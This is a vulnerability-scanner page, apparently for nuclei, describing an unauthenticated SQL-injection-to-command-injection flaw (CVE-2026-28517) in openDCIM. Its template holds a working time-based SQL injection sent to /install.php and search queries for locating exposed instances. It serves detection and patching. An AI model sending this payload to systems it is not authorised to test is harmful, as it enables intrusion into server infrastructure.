openDCIM - Unauthenticated SQL Injection to OS Command Injection

criticalseverity

6.3%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

openDCIM version 23.04 contains a command injection caused by unsanitized 'dot' configuration parameter passed to exec() in report_network_map.php, letting attackers execute arbitrary OS commands, exploit requires ability to modify fac_Config.dot value.

Impact

Attackers can execute arbitrary OS commands with web server privileges, potentially compromising the entire server.

Fix

Update to the latest version with proper input validation and sanitization for the 'dot' parameter.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(tolower(body), "opendcim")
Send: @timeout: 20s
Positive when: duration >= 6 and status_code == 302 || status_code == 200

Run it with nuclei: nuclei -id CVE-2026-28517 -u <target>

The full check

id: CVE-2026-28517

info:
  name: openDCIM - Unauthenticated SQL Injection to OS Command Injection
  author: 0x_Akoko
  severity: critical
  description: |
    openDCIM version 23.04 contains a command injection caused by unsanitized 'dot' configuration parameter passed to exec() in report_network_map.php, letting attackers execute arbitrary OS commands, exploit requires ability to modify fac_Config.dot value.
  impact: |
    Attackers can execute arbitrary OS commands with web server privileges, potentially compromising the entire server.
  remediation: |
    Update to the latest version with proper input validation and sanitization for the 'dot' parameter.
  reference:
    - https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter
    - https://www.vulncheck.com/advisories/opendcim-sql-injection-in-config-updateparameter
    - https://www.vulncheck.com/advisories/opendcim-missing-authorization-in-install-php
    - https://chocapikk.com/posts/2026/opendcim-sqli-to-rce/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/opendcim_install_sqli_rce.rb
  classification:
    cve-id: CVE-2026-28517
    epss-score: 0.06271
    epss-percentile: 0.93682
  metadata:
    verified: true
    max-request: 2
    vendor: opendcim
    product: opendcim
    shodan-query: http.html:"openDCIM"
    fofa-query: body="openDCIM"
  tags: cve,cve2026,opendcim,sqli,rce,injection,unauth,intrusive,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "opendcim")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /install.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ldapaction=Set&LDAPServer=%22+WHERE+1%3D0%3B+SELECT+IF((SELECT+COUNT(*)+FROM+fac_Config)%3E0%2CSLEEP(6)%2C0)%3B+--+

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 302 || status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from